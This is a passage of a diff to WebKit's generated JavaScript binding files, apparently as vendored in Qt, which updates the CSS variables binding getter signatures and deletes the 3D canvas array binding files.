-JSValue jsCSSVariablesDeclarationCssText(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCSSVariablesDeclarationCssText(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCSSVariablesDeclaration* castedThis = static_cast<JSCSSVariablesDeclaration*>(asObject(slot.slotBase()));
+    JSCSSVariablesDeclaration* castedThis = static_cast<JSCSSVariablesDeclaration*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     CSSVariablesDeclaration* imp = static_cast<CSSVariablesDeclaration*>(castedThis->impl());
-    return jsString(exec, imp->cssText());
+    JSValue result = jsString(exec, imp->cssText());
+    return result;
 }
 
-JSValue jsCSSVariablesDeclarationLength(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCSSVariablesDeclarationLength(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCSSVariablesDeclaration* castedThis = static_cast<JSCSSVariablesDeclaration*>(asObject(slot.slotBase()));
+    JSCSSVariablesDeclaration* castedThis = static_cast<JSCSSVariablesDeclaration*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     CSSVariablesDeclaration* imp = static_cast<CSSVariablesDeclaration*>(castedThis->impl());
-    return jsNumber(exec, imp->length());
+    JSValue result = jsNumber(exec, imp->length());
+    return result;
 }
 
-JSValue jsCSSVariablesDeclarationParentRule(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCSSVariablesDeclarationParentRule(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCSSVariablesDeclaration* castedThis = static_cast<JSCSSVariablesDeclaration*>(asObject(slot.slotBase()));
+    JSCSSVariablesDeclaration* castedThis = static_cast<JSCSSVariablesDeclaration*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     CSSVariablesDeclaration* imp = static_cast<CSSVariablesDeclaration*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->parentRule()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->parentRule()));
+    return result;
 }
 
-JSValue jsCSSVariablesDeclarationConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCSSVariablesDeclarationConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCSSVariablesDeclaration* domObject = static_cast<JSCSSVariablesDeclaration*>(asObject(slot.slotBase()));
+    JSCSSVariablesDeclaration* domObject = static_cast<JSCSSVariablesDeclaration*>(asObject(slotBase));
     return JSCSSVariablesDeclaration::getConstructor(exec, domObject->globalObject());
 }
 void JSCSSVariablesDeclaration::put(ExecState* exec, const Identifier& propertyName, JSValue value, PutPropertySlot& slot)
@@ -236,15 +239,16 @@ void JSCSSVariablesDeclaration::put(ExecState* exec, const Identifier& propertyN
 
 void setJSCSSVariablesDeclarationCssText(ExecState* exec, JSObject* thisObject, JSValue value)
 {
-    CSSVariablesDeclaration* imp = static_cast<CSSVariablesDeclaration*>(static_cast<JSCSSVariablesDeclaration*>(thisObject)->impl());
+    JSCSSVariablesDeclaration* castedThisObj = static_cast<JSCSSVariablesDeclaration*>(thisObject);
+    CSSVariablesDeclaration* imp = static_cast<CSSVariablesDeclaration*>(castedThisObj->impl());
     imp->setCssText(value.toString(exec));
 }
 
-void JSCSSVariablesDeclaration::getOwnPropertyNames(ExecState* exec, PropertyNameArray& propertyNames)
+void JSCSSVariablesDeclaration::getOwnPropertyNames(ExecState* exec, PropertyNameArray& propertyNames, EnumerationMode mode)
 {
     for (unsigned i = 0; i < static_cast<CSSVariablesDeclaration*>(impl())->length(); ++i)
         propertyNames.add(Identifier::from(exec, i));
-     Base::getOwnPropertyNames(exec, propertyNames);
+     Base::getOwnPropertyNames(exec, propertyNames, mode);
 }
 
 JSValue JSCSSVariablesDeclaration::getConstructor(ExecState* exec, JSGlobalObject* globalObject)
@@ -313,10 +317,10 @@ JSValue JSC_HOST_CALL jsCSSVariablesDeclarationPrototypeFunctionItem(ExecState*
 }
 
 
-JSValue JSCSSVariablesDeclaration::indexGetter(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue JSCSSVariablesDeclaration::indexGetter(ExecState* exec, JSValue slotBase, unsigned index)
 {
-    JSCSSVariablesDeclaration* thisObj = static_cast<JSCSSVariablesDeclaration*>(asObject(slot.slotBase()));
-    return jsStringOrNull(exec, thisObj->impl()->item(slot.index()));
+    JSCSSVariablesDeclaration* thisObj = static_cast<JSCSSVariablesDeclaration*>(asObject(slotBase));
+    return jsStringOrNull(exec, thisObj->impl()->item(index));
 }
 JSC::JSValue toJS(JSC::ExecState* exec, JSDOMGlobalObject* globalObject, CSSVariablesDeclaration* object)
 {
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCSSVariablesDeclaration.h b/src/3rdparty/webkit/WebCore/generated/JSCSSVariablesDeclaration.h
index 1eee675..5dc91c7 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSCSSVariablesDeclaration.h
+++ b/src/3rdparty/webkit/WebCore/generated/JSCSSVariablesDeclaration.h
@@ -21,7 +21,6 @@
 #ifndef JSCSSVariablesDeclaration_h
 #define JSCSSVariablesDeclaration_h
 
-#include "DOMObjectWithSVGContext.h"
 #include "JSDOMBinding.h"
 #include <runtime/JSGlobalObject.h>
 #include <runtime/ObjectPrototype.h>
@@ -45,10 +44,10 @@ public:
 
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
 
-    virtual void getOwnPropertyNames(JSC::ExecState*, JSC::PropertyNameArray&);
+    virtual void getOwnPropertyNames(JSC::ExecState*, JSC::PropertyNameArray&, JSC::EnumerationMode mode = JSC::ExcludeDontEnumProperties);
     static JSC::JSValue getConstructor(JSC::ExecState*, JSC::JSGlobalObject*);
     CSSVariablesDeclaration* impl() const { return m_impl.get(); }
 
@@ -56,7 +55,7 @@ private:
     RefPtr<CSSVariablesDeclaration> m_impl;
 protected:
     static const unsigned StructureFlags = JSC::OverridesGetPropertyNames | JSC::OverridesGetOwnPropertySlot | Base::StructureFlags;
-    static JSC::JSValue indexGetter(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+    static JSC::JSValue indexGetter(JSC::ExecState*, JSC::JSValue, unsigned);
 };
 
 JSC::JSValue toJS(JSC::ExecState*, JSDOMGlobalObject*, CSSVariablesDeclaration*);
@@ -72,7 +71,7 @@ public:
     virtual bool getOwnPropertyDescriptor(JSC::ExecState*, const JSC::Identifier&, JSC::PropertyDescriptor&);
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
     JSCSSVariablesDeclarationPrototype(NonNullPassRefPtr<JSC::Structure> structure) : JSC::JSObject(structure) { }
 protected:
@@ -87,11 +86,11 @@ JSC::JSValue JSC_HOST_CALL jsCSSVariablesDeclarationPrototypeFunctionSetVariable
 JSC::JSValue JSC_HOST_CALL jsCSSVariablesDeclarationPrototypeFunctionItem(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
 // Attributes
 
-JSC::JSValue jsCSSVariablesDeclarationCssText(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsCSSVariablesDeclarationCssText(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSCSSVariablesDeclarationCssText(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsCSSVariablesDeclarationLength(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCSSVariablesDeclarationParentRule(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCSSVariablesDeclarationConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsCSSVariablesDeclarationLength(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCSSVariablesDeclarationParentRule(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCSSVariablesDeclarationConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 
 } // namespace WebCore
 
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCSSVariablesRule.cpp b/src/3rdparty/webkit/WebCore/generated/JSCSSVariablesRule.cpp
index 4888123..93f127c 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSCSSVariablesRule.cpp
+++ b/src/3rdparty/webkit/WebCore/generated/JSCSSVariablesRule.cpp
@@ -38,9 +38,9 @@ ASSERT_CLASS_FITS_IN_CELL(JSCSSVariablesRule);
 
 static const HashTableValue JSCSSVariablesRuleTableValues[4] =
 {
-    { "media", DontDelete|ReadOnly, (intptr_t)jsCSSVariablesRuleMedia, (intptr_t)0 },
-    { "variables", DontDelete|ReadOnly, (intptr_t)jsCSSVariablesRuleVariables, (intptr_t)0 },
-    { "constructor", DontEnum|ReadOnly, (intptr_t)jsCSSVariablesRuleConstructor, (intptr_t)0 },
+    { "media", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSVariablesRuleMedia), (intptr_t)0 },
+    { "variables", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSVariablesRuleVariables), (intptr_t)0 },
+    { "constructor", DontEnum|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSVariablesRuleConstructor), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
@@ -79,7 +79,7 @@ public:
 
     static PassRefPtr<Structure> createStructure(JSValue proto) 
     { 
-        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags)); 
+        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount); 
     }
     
 protected:
@@ -141,25 +141,27 @@ bool JSCSSVariablesRule::getOwnPropertyDescriptor(ExecState* exec, const Identif
     return getStaticValueDescriptor<JSCSSVariablesRule, Base>(exec, &JSCSSVariablesRuleTable, this, propertyName, descriptor);
 }
 
-JSValue jsCSSVariablesRuleMedia(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCSSVariablesRuleMedia(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCSSVariablesRule* castedThis = static_cast<JSCSSVariablesRule*>(asObject(slot.slotBase()));
+    JSCSSVariablesRule* castedThis = static_cast<JSCSSVariablesRule*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     CSSVariablesRule* imp = static_cast<CSSVariablesRule*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->media()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->media()));
+    return result;
 }
 
-JSValue jsCSSVariablesRuleVariables(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCSSVariablesRuleVariables(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCSSVariablesRule* castedThis = static_cast<JSCSSVariablesRule*>(asObject(slot.slotBase()));
+    JSCSSVariablesRule* castedThis = static_cast<JSCSSVariablesRule*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     CSSVariablesRule* imp = static_cast<CSSVariablesRule*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->variables()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->variables()));
+    return result;
 }
 
-JSValue jsCSSVariablesRuleConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCSSVariablesRuleConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCSSVariablesRule* domObject = static_cast<JSCSSVariablesRule*>(asObject(slot.slotBase()));
+    JSCSSVariablesRule* domObject = static_cast<JSCSSVariablesRule*>(asObject(slotBase));
     return JSCSSVariablesRule::getConstructor(exec, domObject->globalObject());
 }
 JSValue JSCSSVariablesRule::getConstructor(ExecState* exec, JSGlobalObject* globalObject)
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCSSVariablesRule.h b/src/3rdparty/webkit/WebCore/generated/JSCSSVariablesRule.h
index f3bee08..efa5893 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSCSSVariablesRule.h
+++ b/src/3rdparty/webkit/WebCore/generated/JSCSSVariablesRule.h
@@ -39,7 +39,7 @@ public:
 
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
 
     static JSC::JSValue getConstructor(JSC::ExecState*, JSC::JSGlobalObject*);
@@ -56,7 +56,7 @@ public:
     static const JSC::ClassInfo s_info;
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
     JSCSSVariablesRulePrototype(NonNullPassRefPtr<JSC::Structure> structure) : JSC::JSObject(structure) { }
 protected:
@@ -65,9 +65,9 @@ protected:
 
 // Attributes
 
-JSC::JSValue jsCSSVariablesRuleMedia(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCSSVariablesRuleVariables(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCSSVariablesRuleConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsCSSVariablesRuleMedia(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCSSVariablesRuleVariables(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCSSVariablesRuleConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 
 } // namespace WebCore
 
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCanvasArray.cpp b/src/3rdparty/webkit/WebCore/generated/JSCanvasArray.cpp
deleted file mode 100644
index 05be08c..0000000
--- a/src/3rdparty/webkit/WebCore/generated/JSCanvasArray.cpp
+++ /dev/null
@@ -1,155 +0,0 @@
-/*
-    This file is part of the WebKit open source project.
-    This file has been generated by generate-bindings.pl. DO NOT MODIFY!
-
-    This library is free software; you can redistribute it and/or
-    modify it under the terms of the GNU Library General Public
-    License as published by the Free Software Foundation; either
-    version 2 of the License, or (at your option) any later version.
-
-    This library is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-    Library General Public License for more details.
-
-    You should have received a copy of the GNU Library General Public License
-    along with this library; see the file COPYING.LIB.  If not, write to
-    the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
-    Boston, MA 02110-1301, USA.
-*/
-
-#include "config.h"
-
-#if ENABLE(3D_CANVAS)
-
-#include "JSCanvasArray.h"
-
-#include "CanvasArray.h"
-#include <runtime/Error.h>
-#include <runtime/JSNumberCell.h>
-#include <wtf/GetPtr.h>
-
-using namespace JSC;
-
-namespace WebCore {
-
-ASSERT_CLASS_FITS_IN_CELL(JSCanvasArray);
-
-/* Hash table */
-
-static const HashTableValue JSCanvasArrayTableValues[2] =
-{
-    { "length", DontDelete|ReadOnly, (intptr_t)jsCanvasArrayLength, (intptr_t)0 },
-    { 0, 0, 0, 0 }
-};
-
-static JSC_CONST_HASHTABLE HashTable JSCanvasArrayTable =
-#if ENABLE(PERFECT_HASH_SIZE)
-    { 0, JSCanvasArrayTableValues, 0 };
-#else
-    { 2, 1, JSCanvasArrayTableValues, 0 };
-#endif
-
-/* Hash table for prototype */
-
-static const HashTableValue JSCanvasArrayPrototypeTableValues[3] =
-{
-    { "sizeInBytes", DontDelete|Function, (intptr_t)jsCanvasArrayPrototypeFunctionSizeInBytes, (intptr_t)0 },
-    { "alignedSizeInBytes", DontDelete|Function, (intptr_t)jsCanvasArrayPrototypeFunctionAlignedSizeInBytes, (intptr_t)0 },
-    { 0, 0, 0, 0 }
-};
-
-static JSC_CONST_HASHTABLE HashTable JSCanvasArrayPrototypeTable =
-#if ENABLE(PERFECT_HASH_SIZE)
-    { 3, JSCanvasArrayPrototypeTableValues, 0 };
-#else
-    { 4, 3, JSCanvasArrayPrototypeTableValues, 0 };
-#endif
-
-const ClassInfo JSCanvasArrayPrototype::s_info = { "CanvasArrayPrototype", 0, &JSCanvasArrayPrototypeTable, 0 };
-
-JSObject* JSCanvasArrayPrototype::self(ExecState* exec, JSGlobalObject* globalObject)
-{
-    return getDOMPrototype<JSCanvasArray>(exec, globalObject);
-}
-
-bool JSCanvasArrayPrototype::getOwnPropertySlot(ExecState* exec, const Identifier& propertyName, PropertySlot& slot)
-{
-    return getStaticFunctionSlot<JSObject>(exec, &JSCanvasArrayPrototypeTable, this, propertyName, slot);
-}
-
-bool JSCanvasArrayPrototype::getOwnPropertyDescriptor(ExecState* exec, const Identifier& propertyName, PropertyDescriptor& descriptor)
-{
-    return getStaticFunctionDescriptor<JSObject>(exec, &JSCanvasArrayPrototypeTable, this, propertyName, descriptor);
-}
-
-const ClassInfo JSCanvasArray::s_info = { "CanvasArray", 0, &JSCanvasArrayTable, 0 };
-
-JSCanvasArray::JSCanvasArray(NonNullPassRefPtr<Structure> structure, JSDOMGlobalObject* globalObject, PassRefPtr<CanvasArray> impl)
-    : DOMObjectWithGlobalPointer(structure, globalObject)
-    , m_impl(impl)
-{
-}
-
-JSCanvasArray::~JSCanvasArray()
-{
-    forgetDOMObject(this, impl());
-}
-
-JSObject* JSCanvasArray::createPrototype(ExecState* exec, JSGlobalObject* globalObject)
-{
-    return new (exec) JSCanvasArrayPrototype(JSCanvasArrayPrototype::createStructure(globalObject->objectPrototype()));
-}
-
-bool JSCanvasArray::getOwnPropertySlot(ExecState* exec, const Identifier& propertyName, PropertySlot& slot)
-{
-    return getStaticValueSlot<JSCanvasArray, Base>(exec, &JSCanvasArrayTable, this, propertyName, slot);
-}
-
-bool JSCanvasArray::getOwnPropertyDescriptor(ExecState* exec, const Identifier& propertyName, PropertyDescriptor& descriptor)
-{
-    return getStaticValueDescriptor<JSCanvasArray, Base>(exec, &JSCanvasArrayTable, this, propertyName, descriptor);
-}
-
-JSValue jsCanvasArrayLength(ExecState* exec, const Identifier&, const PropertySlot& slot)
-{
-    JSCanvasArray* castedThis = static_cast<JSCanvasArray*>(asObject(slot.slotBase()));
-    UNUSED_PARAM(exec);
-    CanvasArray* imp = static_cast<CanvasArray*>(castedThis->impl());
-    return jsNumber(exec, imp->length());
-}
-
-JSValue JSC_HOST_CALL jsCanvasArrayPrototypeFunctionSizeInBytes(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasArray::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasArray* castedThisObj = static_cast<JSCanvasArray*>(asObject(thisValue));
-    CanvasArray* imp = static_cast<CanvasArray*>(castedThisObj->impl());
-
-
-    JSC::JSValue result = jsNumber(exec, imp->sizeInBytes());
-    return result;
-}
-
-JSValue JSC_HOST_CALL jsCanvasArrayPrototypeFunctionAlignedSizeInBytes(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasArray::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasArray* castedThisObj = static_cast<JSCanvasArray*>(asObject(thisValue));
-    CanvasArray* imp = static_cast<CanvasArray*>(castedThisObj->impl());
-
-
-    JSC::JSValue result = jsNumber(exec, imp->alignedSizeInBytes());
-    return result;
-}
-
-CanvasArray* toCanvasArray(JSC::JSValue value)
-{
-    return value.inherits(&JSCanvasArray::s_info) ? static_cast<JSCanvasArray*>(asObject(value))->impl() : 0;
-}
-
-}
-
-#endif // ENABLE(3D_CANVAS)
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCanvasArray.h b/src/3rdparty/webkit/WebCore/generated/JSCanvasArray.h
deleted file mode 100644
index 0d67612..0000000
--- a/src/3rdparty/webkit/WebCore/generated/JSCanvasArray.h
+++ /dev/null
@@ -1,91 +0,0 @@
-/*
-    This file is part of the WebKit open source project.
-    This file has been generated by generate-bindings.pl. DO NOT MODIFY!
-
-    This library is free software; you can redistribute it and/or
-    modify it under the terms of the GNU Library General Public
-    License as published by the Free Software Foundation; either
-    version 2 of the License, or (at your option) any later version.
-
-    This library is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-    Library General Public License for more details.
-
-    You should have received a copy of the GNU Library General Public License
-    along with this library; see the file COPYING.LIB.  If not, write to
-    the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
-    Boston, MA 02110-1301, USA.
-*/
-
-#ifndef JSCanvasArray_h
-#define JSCanvasArray_h
-
-#if ENABLE(3D_CANVAS)
-
-#include "DOMObjectWithSVGContext.h"
-#include "JSDOMBinding.h"
-#include <runtime/JSGlobalObject.h>
-#include <runtime/ObjectPrototype.h>
-
-namespace WebCore {
-
-class CanvasArray;
-
-class JSCanvasArray : public DOMObjectWithGlobalPointer {
-    typedef DOMObjectWithGlobalPointer Base;
-public:
-    JSCanvasArray(NonNullPassRefPtr<JSC::Structure>, JSDOMGlobalObject*, PassRefPtr<CanvasArray>);
-    virtual ~JSCanvasArray();
-    static JSC::JSObject* createPrototype(JSC::ExecState*, JSC::JSGlobalObject*);
-    virtual bool getOwnPropertySlot(JSC::ExecState*, const JSC::Identifier& propertyName, JSC::PropertySlot&);
-    virtual bool getOwnPropertyDescriptor(JSC::ExecState*, const JSC::Identifier& propertyName, JSC::PropertyDescriptor&);
-    virtual const JSC::ClassInfo* classInfo() const { return &s_info; }
-    static const JSC::ClassInfo s_info;
-
-    static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
-    {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
-    }
-
-    CanvasArray* impl() const { return m_impl.get(); }
-
-private:
-    RefPtr<CanvasArray> m_impl;
-protected:
-    static const unsigned StructureFlags = JSC::OverridesGetOwnPropertySlot | Base::StructureFlags;
-};
-
-JSC::JSValue toJS(JSC::ExecState*, JSDOMGlobalObject*, CanvasArray*);
-CanvasArray* toCanvasArray(JSC::JSValue);
-
-class JSCanvasArrayPrototype : public JSC::JSObject {
-    typedef JSC::JSObject Base;
-public:
-    static JSC::JSObject* self(JSC::ExecState*, JSC::JSGlobalObject*);
-    virtual const JSC::ClassInfo* classInfo() const { return &s_info; }
-    static const JSC::ClassInfo s_info;
-    virtual bool getOwnPropertySlot(JSC::ExecState*, const JSC::Identifier&, JSC::PropertySlot&);
-    virtual bool getOwnPropertyDescriptor(JSC::ExecState*, const JSC::Identifier&, JSC::PropertyDescriptor&);
-    static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
-    {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
-    }
-    JSCanvasArrayPrototype(NonNullPassRefPtr<JSC::Structure> structure) : JSC::JSObject(structure) { }
-protected:
-    static const unsigned StructureFlags = JSC::OverridesGetOwnPropertySlot | Base::StructureFlags;
-};
-
-// Functions
-
-JSC::JSValue JSC_HOST_CALL jsCanvasArrayPrototypeFunctionSizeInBytes(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasArrayPrototypeFunctionAlignedSizeInBytes(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-// Attributes
-
-JSC::JSValue jsCanvasArrayLength(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-
-} // namespace WebCore
-
-#endif // ENABLE(3D_CANVAS)
-
-#endif
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCanvasArrayBuffer.cpp b/src/3rdparty/webkit/WebCore/generated/JSCanvasArrayBuffer.cpp
deleted file mode 100644
index 7099ce9..0000000
--- a/src/3rdparty/webkit/WebCore/generated/JSCanvasArrayBuffer.cpp
+++ /dev/null
@@ -1,120 +0,0 @@
-/*
-    This file is part of the WebKit open source project.
-    This file has been generated by generate-bindings.pl. DO NOT MODIFY!
-
-    This library is free software; you can redistribute it and/or
-    modify it under the terms of the GNU Library General Public
-    License as published by the Free Software Foundation; either
-    version 2 of the License, or (at your option) any later version.
-
-    This library is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-    Library General Public License for more details.
-
-    You should have received a copy of the GNU Library General Public License
-    along with this library; see the file COPYING.LIB.  If not, write to
-    the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
-    Boston, MA 02110-1301, USA.
-*/
-
-#include "config.h"
-
-#if ENABLE(3D_CANVAS)
-
-#include "JSCanvasArrayBuffer.h"
-
-#include "CanvasArrayBuffer.h"
-#include <runtime/JSNumberCell.h>
-#include <wtf/GetPtr.h>
-
-using namespace JSC;
-
-namespace WebCore {
-
-ASSERT_CLASS_FITS_IN_CELL(JSCanvasArrayBuffer);
-
-/* Hash table */
-
-static const HashTableValue JSCanvasArrayBufferTableValues[2] =
-{
-    { "byteLength", DontDelete|ReadOnly, (intptr_t)jsCanvasArrayBufferByteLength, (intptr_t)0 },
-    { 0, 0, 0, 0 }
-};
-
-static JSC_CONST_HASHTABLE HashTable JSCanvasArrayBufferTable =
-#if ENABLE(PERFECT_HASH_SIZE)
-    { 0, JSCanvasArrayBufferTableValues, 0 };
-#else
-    { 2, 1, JSCanvasArrayBufferTableValues, 0 };
-#endif
-
-/* Hash table for prototype */
-
-static const HashTableValue JSCanvasArrayBufferPrototypeTableValues[1] =
-{
-    { 0, 0, 0, 0 }
-};
-
-static JSC_CONST_HASHTABLE HashTable JSCanvasArrayBufferPrototypeTable =
-#if ENABLE(PERFECT_HASH_SIZE)
-    { 0, JSCanvasArrayBufferPrototypeTableValues, 0 };
-#else
-    { 1, 0, JSCanvasArrayBufferPrototypeTableValues, 0 };
-#endif
-
-const ClassInfo JSCanvasArrayBufferPrototype::s_info = { "CanvasArrayBufferPrototype", 0, &JSCanvasArrayBufferPrototypeTable, 0 };
-
-JSObject* JSCanvasArrayBufferPrototype::self(ExecState* exec, JSGlobalObject* globalObject)
-{
-    return getDOMPrototype<JSCanvasArrayBuffer>(exec, globalObject);
-}
-
-const ClassInfo JSCanvasArrayBuffer::s_info = { "CanvasArrayBuffer", 0, &JSCanvasArrayBufferTable, 0 };
-
-JSCanvasArrayBuffer::JSCanvasArrayBuffer(NonNullPassRefPtr<Structure> structure, JSDOMGlobalObject* globalObject, PassRefPtr<CanvasArrayBuffer> impl)
-    : DOMObjectWithGlobalPointer(structure, globalObject)
-    , m_impl(impl)
-{
-}
-
-JSCanvasArrayBuffer::~JSCanvasArrayBuffer()
-{
-    forgetDOMObject(this, impl());
-}
-
-JSObject* JSCanvasArrayBuffer::createPrototype(ExecState* exec, JSGlobalObject* globalObject)
-{
-    return new (exec) JSCanvasArrayBufferPrototype(JSCanvasArrayBufferPrototype::createStructure(globalObject->objectPrototype()));
-}
-
-bool JSCanvasArrayBuffer::getOwnPropertySlot(ExecState* exec, const Identifier& propertyName, PropertySlot& slot)
-{
-    return getStaticValueSlot<JSCanvasArrayBuffer, Base>(exec, &JSCanvasArrayBufferTable, this, propertyName, slot);
-}
-
-bool JSCanvasArrayBuffer::getOwnPropertyDescriptor(ExecState* exec, const Identifier& propertyName, PropertyDescriptor& descriptor)
-{
-    return getStaticValueDescriptor<JSCanvasArrayBuffer, Base>(exec, &JSCanvasArrayBufferTable, this, propertyName, descriptor);
-}
-
-JSValue jsCanvasArrayBufferByteLength(ExecState* exec, const Identifier&, const PropertySlot& slot)
-{
-    JSCanvasArrayBuffer* castedThis = static_cast<JSCanvasArrayBuffer*>(asObject(slot.slotBase()));
-    UNUSED_PARAM(exec);
-    CanvasArrayBuffer* imp = static_cast<CanvasArrayBuffer*>(castedThis->impl());
-    return jsNumber(exec, imp->byteLength());
-}
-
-JSC::JSValue toJS(JSC::ExecState* exec, JSDOMGlobalObject* globalObject, CanvasArrayBuffer* object)
-{
-    return getDOMObjectWrapper<JSCanvasArrayBuffer>(exec, globalObject, object);
-}
-CanvasArrayBuffer* toCanvasArrayBuffer(JSC::JSValue value)
-{
-    return value.inherits(&JSCanvasArrayBuffer::s_info) ? static_cast<JSCanvasArrayBuffer*>(asObject(value))->impl() : 0;
-}
-
-}
-
-#endif // ENABLE(3D_CANVAS)
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCanvasArrayBuffer.h b/src/3rdparty/webkit/WebCore/generated/JSCanvasArrayBuffer.h
deleted file mode 100644
index eff168f..0000000
--- a/src/3rdparty/webkit/WebCore/generated/JSCanvasArrayBuffer.h
+++ /dev/null
@@ -1,85 +0,0 @@
-/*
-    This file is part of the WebKit open source project.
-    This file has been generated by generate-bindings.pl. DO NOT MODIFY!
-
-    This library is free software; you can redistribute it and/or
-    modify it under the terms of the GNU Library General Public
-    License as published by the Free Software Foundation; either
-    version 2 of the License, or (at your option) any later version.
-
